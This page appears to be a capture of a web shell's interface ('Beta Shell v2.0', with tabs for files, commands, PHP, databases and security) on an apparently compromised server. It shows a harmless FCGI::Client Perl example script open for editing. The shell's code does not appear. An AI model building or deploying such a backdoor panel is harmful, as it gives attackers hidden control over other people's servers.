Beta Shell
v2.0 ยท web2.us.cloudlogin.co
[FM]
[CMD]
[PHP]
[DB]
[INFO]
[SEC]
File Manager
~
/
usr
/
share
/
doc
/
perl-FCGI-Client
/
scripts
Upload
3 items
Name
Size
Perms
Modified
Actions
[ .. / .. ]
fcgicli.pl
1.16 KB
-rwxr-xr-x
2018-07-16 14:23:36
Edit
Del
Editing: fcgicli.pl
(1.16 KB)
Path: /usr/share/doc/perl-FCGI-Client/scripts/fcgicli.pl
Back
#!/usr/bin/perl use strict; use warnings; use Pod::Usage; use Getopt::Long; use FCGI::Client; use IO::Socket::INET; GetOptions( 'h|help' => \my $help, ) or pod2usage(); pod2usage() if $help; pod2usage() if @ARGV < 1; my ($fcgi_file, $query_string) = @ARGV; &main;exit; sub main { my $srvsock = IO::Socket::INET->new( LocalPort => 0, Listen => 1, ) or die $!; defined( my $kid = fork ) or die "Cannot fork - $!"; if( $kid == 0 ) { open STDIN, "<&", $srvsock; close STDOUT; exec( $fcgi_file ); die "Cannot exec $fcgi_file - $!"; } my $sock = IO::Socket::INET->new( PeerHost => $srvsock->sockhost, PeerPort => $srvsock->sockport, ) or die $!; my $client = FCGI::Client::Connection->new( sock => $sock ); my ( $stdout, $stderr ) = $client->request( +{ REQUEST_METHOD => 'GET', QUERY_STRING => $query_string || '', }, '' ); print STDERR $stderr if $stderr; print $stdout; } __END__ =head1 NAME fcgicli.pl - =head1 SYNOPSIS $ fcgicli.pl foo.fcgi [foo=bar&hoge=fuga] =head1 AUTHOR Paul Evans Tokuhiro Matsuno